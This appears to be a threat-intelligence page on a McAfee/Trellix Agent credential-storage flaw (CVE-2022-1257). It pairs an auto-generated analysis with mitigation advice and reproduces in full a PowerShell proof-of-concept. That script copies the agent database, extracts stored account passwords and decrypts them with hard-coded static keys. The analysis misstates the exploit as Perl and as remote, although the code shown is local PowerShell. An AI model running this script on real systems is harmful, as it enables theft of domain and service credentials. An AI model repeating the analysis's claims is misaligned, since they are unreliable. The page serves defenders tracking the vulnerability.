McAfee Agent 5.7.6 - Insecure Storage of Sensitive Information
McAfee Agent 5.7.6 - Insecure Storage of Sensitive Information
AI Analysis
Technical Summary
The security threat concerns McAfee Agent version 5.7.6, specifically an insecure storage of sensitive information vulnerability. McAfee Agent is a widely used endpoint security management tool that facilitates communication between managed devices and McAfee ePolicy Orchestrator (ePO) servers. The vulnerability arises from the improper handling or storage of sensitive data, such as credentials or configuration details, within the agent software. This insecure storage could allow an attacker with access to the affected system to extract confidential information, potentially leading to unauthorized access or privilege escalation. The exploit is classified as remote, indicating that an attacker might leverage network access or remotely execute code to exploit this vulnerability. The presence of exploit code written in Perl suggests that proof-of-concept or attack scripts are available, which could be adapted by threat actors to target vulnerable systems. Although no CVSS score is provided, the medium severity rating reflects the moderate risk posed by this vulnerability, considering that exploitation might require some level of access or user interaction. The lack of known exploits in the wild currently reduces immediate risk but does not eliminate the threat, especially given the availability of exploit code. Overall, this vulnerability highlights the risks associated with improper sensitive data management in security software, which ironically can undermine the security posture of organizations relying on McAfee Agent for endpoint protection.
Potential Impact
For European organizations, the insecure storage of sensitive information in McAfee Agent 5.7.6 could lead to significant confidentiality breaches if attackers extract stored credentials or configuration data. This could facilitate lateral movement within corporate networks, unauthorized access to critical systems, or manipulation of security policies. Given that McAfee Agent is commonly deployed in enterprise environments across Europe, especially in sectors like finance, healthcare, and government, the impact could extend to regulatory compliance violations (e.g., GDPR) due to exposure of personal or sensitive data. Additionally, compromised endpoint security agents could undermine trust in the overall security infrastructure, potentially leading to broader operational disruptions. While the vulnerability does not appear to allow direct remote code execution without some level of access, the risk remains substantial if attackers gain foothold through phishing or other initial access vectors. The medium severity suggests that while the threat is not immediately critical, it warrants prompt attention to prevent escalation and exploitation.
Mitigation Recommendations
European organizations should prioritize the following specific mitigation steps: 1) Immediately verify the version of McAfee Agent deployed and plan for an upgrade to a patched version once available, as no patch links are currently provided. 2) Restrict access to systems running McAfee Agent to trusted administrators and enforce strict access controls to prevent unauthorized local or remote access. 3) Audit and monitor logs for unusual access patterns or attempts to read McAfee Agent configuration files or stored credentials. 4) Employ endpoint detection and response (EDR) tools to detect suspicious activities related to credential dumping or lateral movement. 5) Consider encrypting sensitive configuration files or using secure vault solutions where possible to reduce exposure. 6) Educate IT and security teams about the risks of insecure storage vulnerabilities and the importance of timely patch management. 7) If feasible, isolate critical systems running McAfee Agent in segmented network zones to limit potential attacker movement. 8) Monitor threat intelligence feeds for updates on exploit availability or active exploitation campaigns targeting this vulnerability.
Affected Countries
Germany, United Kingdom, France, Netherlands, Italy, Spain, Sweden
Indicators of Compromise
- exploit-code: Exploit Title: McAfee Agent 5.7.6 - Insecure Storage of Sensitive Information Date: 24 June 2025 Exploit Author: Keenan Scott Vendor Homepage: hxxps[://]www[.]mcafee[.]com/ Software Download: N/A (Unable to find) Version: < 5.7.6 Tested on: Windows 11 CVE: CVE-2022-1257 <# .SYNOPSIS Dump and decrypt encrypted Windows credentials from Trellix Agent Database ("C:\ProgramData\McAfee\Agent\DB\ma.db") - PoC for CVE-2022-1257. Made by scottk817 .DESCRIPTION This script demonstrates exploitation of CVE-2022-1257, a vulnerability in McAfee's Trellix Agent Database where attackers can retrieve and decrypt credentials from the `ma.db` database file. .LINK https://nvd.nist.gov/vuln/detail/cve-2022-1257 https://github.com/funoverip/mcafee-sitelist-pwd-decryption/blob/master/mcafee_sitelist_pwd_decrypt.py https://mrd0x.com/abusing-mcafee-vulnerabilities-misconfigurations/ https://tryhackme.com/room/breachingad .OUTPUTS CSV in stdOut: Username,Password #> # Arguments [CmdletBinding()] param ( [string]$DbSource = 'C:\ProgramData\McAfee\Agent\DB\ma.db', [string]$TempFolder = $env:TEMP ) ### Initialize use of WinSQLite3 ### $cls = "WinSQLite_{0}" -f ([guid]::NewGuid().ToString('N')) $code = @" using System; using System.Runtime.InteropServices; public static class $cls { public const int SQLITE_OK = 0; public const int SQLITE_ROW = 100; [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] public static extern int sqlite3_open_v2( [MarshalAs(UnmanagedType.LPStr)] string filename, out IntPtr db, int flags, IntPtr vfs ); [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] public static extern int sqlite3_close(IntPtr db); [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] public static extern int sqlite3_prepare_v2( IntPtr db, string sql, int nByte, out IntPtr stmt, IntPtr pzTail ); [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] public static extern int sqlite3_step(IntPtr stmt); [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] public static extern IntPtr sqlite3_column_text(IntPtr stmt, int col); [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] public static extern int sqlite3_finalize(IntPtr stmt); } "@ # SQL statement to retrieve usersnames and encrypted passwords from ma.db $sql = @" SELECT AUTH_USER, AUTH_PASSWD FROM AGENT_REPOSITORIES WHERE AUTH_PASSWD IS NOT NULL; "@ Add-Type -TypeDefinition $code -PassThru | Out-Null $type = [type]$cls ### Decode and Decrypt ### # Function to decode, and decrypt the credentials found in the DB using the static keys used for every Trellix agent. function Invoke-McAfeeDecrypt { param([string]$B64) [byte[]]$mask = 0x12,0x15,0x0F,0x10,0x11,0x1C,0x1A,0x06, 0x0A,0x1F,0x1B,0x18,0x17,0x16,0x05,0x19 [byte[]]$buf = [Convert]::FromBase64String($B64.Trim()) for ($i = 0; $i -lt $buf.Length; $i++) { $buf[$i] = $buf[$i] -bxor $mask[$i % $mask.Length] } $sha = [System.Security.Cryptography.SHA1]::Create() [byte[]]$key = $sha.ComputeHash([Text.Encoding]::ASCII.GetBytes("<!@#$%^>")) + (0..3 | ForEach-Object { 0 }) $tdes = [System.Security.Cryptography.TripleDES]::Create() $tdes.Mode = 'ECB' $tdes.Padding = 'None' $tdes.Key = $key [byte[]]$plain = $tdes.CreateDecryptor().TransformFinalBlock($buf, 0, $buf.Length) $i = 0 while ($i -lt $plain.Length -and $plain[$i] -ge 0x20 -and $plain[$i] -le 0x7E) { $i++ } if ($i -eq 0) { return '' } [Text.Encoding]::UTF8.GetString($plain, 0, $i) } ### Copy ma.db ### # Copy ma.db over to temp directory add GUID incase it already exists there. $tmp = Join-Path $TempFolder ("ma_{0}.db" -f ([guid]::NewGuid())) Copy-Item -LiteralPath $DbSource -Destination $tmp -Force ### Pull records ### $dbPtr = [IntPtr]::Zero $stmtPtr = [IntPtr]::Zero $flags = 1 $rc = $type::sqlite3_open_v2($tmp, [ref]$dbPtr, $flags, [IntPtr]::Zero) if ($rc -ne $type::SQLITE_OK) { $msg = [Runtime.InteropServices.Marshal]::PtrToStringAnsi( $type::sqlite3_errmsg($dbPtr)) Throw "sqlite3_open_v2 failed (code $rc) : $msg" } $rc = $type::sqlite3_prepare_v2($dbPtr, $sql, -1, [ref]$stmtPtr, [IntPtr]::Zero) if ($rc -ne $type::SQLITE_OK) { $msg = [Runtime.InteropServices.Marshal]::PtrToStringAnsi( $type::sqlite3_errmsg($dbPtr)) $type::sqlite3_close($dbPtr) | Out-Null Throw "sqlite3_prepare_v2 failed (code $rc) : $msg" } $buffer = [System.Collections.Generic.List[string]]::new() while ($type::sqlite3_step($stmtPtr) -eq $type::SQLITE_ROW) { $uPtr = $type::sqlite3_column_text($stmtPtr, 0) $pPtr = $type::sqlite3_column_text($stmtPtr, 1) $user = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($uPtr) $pass = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($pPtr) if ($user -and $pass) { $buffer.Add("$user,$pass") } } ### Cleanup ### # Finish and close SQL $type::sqlite3_finalize($stmtPtr) | Out-Null $type::sqlite3_close($dbPtr) | Out-Null # Delete the ma.db file copied to the temp file Remove-Item $tmp -Force -ErrorAction SilentlyContinue ### Process encrypted credentials ### # For each row of credentials decrypt them and print plaintext to standard out. foreach ($line in $buffer) { $rec = $line -split ',', 2 if ($rec.Length -eq 2) { $username = $rec[0] try { $password = Invoke-McAfeeDecrypt $rec[1] } catch { $password = "[DECRYPT-ERROR] $_" } "Username,Password" "$username,$password" } }
McAfee Agent 5.7.6 - Insecure Storage of Sensitive Information
Description
McAfee Agent 5.7.6 - Insecure Storage of Sensitive Information
AI-Powered Analysis
Technical Analysis
The security threat concerns McAfee Agent version 5.7.6, specifically an insecure storage of sensitive information vulnerability. McAfee Agent is a widely used endpoint security management tool that facilitates communication between managed devices and McAfee ePolicy Orchestrator (ePO) servers. The vulnerability arises from the improper handling or storage of sensitive data, such as credentials or configuration details, within the agent software. This insecure storage could allow an attacker with access to the affected system to extract confidential information, potentially leading to unauthorized access or privilege escalation. The exploit is classified as remote, indicating that an attacker might leverage network access or remotely execute code to exploit this vulnerability. The presence of exploit code written in Perl suggests that proof-of-concept or attack scripts are available, which could be adapted by threat actors to target vulnerable systems. Although no CVSS score is provided, the medium severity rating reflects the moderate risk posed by this vulnerability, considering that exploitation might require some level of access or user interaction. The lack of known exploits in the wild currently reduces immediate risk but does not eliminate the threat, especially given the availability of exploit code. Overall, this vulnerability highlights the risks associated with improper sensitive data management in security software, which ironically can undermine the security posture of organizations relying on McAfee Agent for endpoint protection.
Potential Impact
For European organizations, the insecure storage of sensitive information in McAfee Agent 5.7.6 could lead to significant confidentiality breaches if attackers extract stored credentials or configuration data. This could facilitate lateral movement within corporate networks, unauthorized access to critical systems, or manipulation of security policies. Given that McAfee Agent is commonly deployed in enterprise environments across Europe, especially in sectors like finance, healthcare, and government, the impact could extend to regulatory compliance violations (e.g., GDPR) due to exposure of personal or sensitive data. Additionally, compromised endpoint security agents could undermine trust in the overall security infrastructure, potentially leading to broader operational disruptions. While the vulnerability does not appear to allow direct remote code execution without some level of access, the risk remains substantial if attackers gain foothold through phishing or other initial access vectors. The medium severity suggests that while the threat is not immediately critical, it warrants prompt attention to prevent escalation and exploitation.
Mitigation Recommendations
European organizations should prioritize the following specific mitigation steps: 1) Immediately verify the version of McAfee Agent deployed and plan for an upgrade to a patched version once available, as no patch links are currently provided. 2) Restrict access to systems running McAfee Agent to trusted administrators and enforce strict access controls to prevent unauthorized local or remote access. 3) Audit and monitor logs for unusual access patterns or attempts to read McAfee Agent configuration files or stored credentials. 4) Employ endpoint detection and response (EDR) tools to detect suspicious activities related to credential dumping or lateral movement. 5) Consider encrypting sensitive configuration files or using secure vault solutions where possible to reduce exposure. 6) Educate IT and security teams about the risks of insecure storage vulnerabilities and the importance of timely patch management. 7) If feasible, isolate critical systems running McAfee Agent in segmented network zones to limit potential attacker movement. 8) Monitor threat intelligence feeds for updates on exploit availability or active exploitation campaigns targeting this vulnerability.
Affected Countries
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Technical Details
- Edb Id
- 52345
- Has Exploit Code
- true
- Code Language
- perl
Indicators of Compromise
Exploit Source Code
Exploit code for McAfee Agent 5.7.6 - Insecure Storage of Sensitive Information
Exploit Title: McAfee Agent 5.7.6 - Insecure Storage of Sensitive Information Date: 24 June 2025 Exploit Author: Keenan Scott Vendor Homepage: hxxps[://]www[.]mcafee[.]com/ Software Download: N/A (Unable to find) Version: < 5.7.6 Tested on: Windows 11 CVE: CVE-2022-1257 <# .SYNOPSIS Dump and decrypt encrypted Windows credentials from Trellix Agent Database ("C:\ProgramData\McAfee\Agent\DB\ma.db") - PoC for CVE-2022-1257. Made by scottk817 .DESCRIPTION This script demonstrates exploitat... (5276 more characters)
Threat ID: 685e4315ca1063fb8755ec39
Added to database: 6/27/2025, 7:07:01 AM
Last enriched: 7/16/2025, 9:23:45 PM
Last updated: 8/15/2025, 9:01:44 PM
Views: 29
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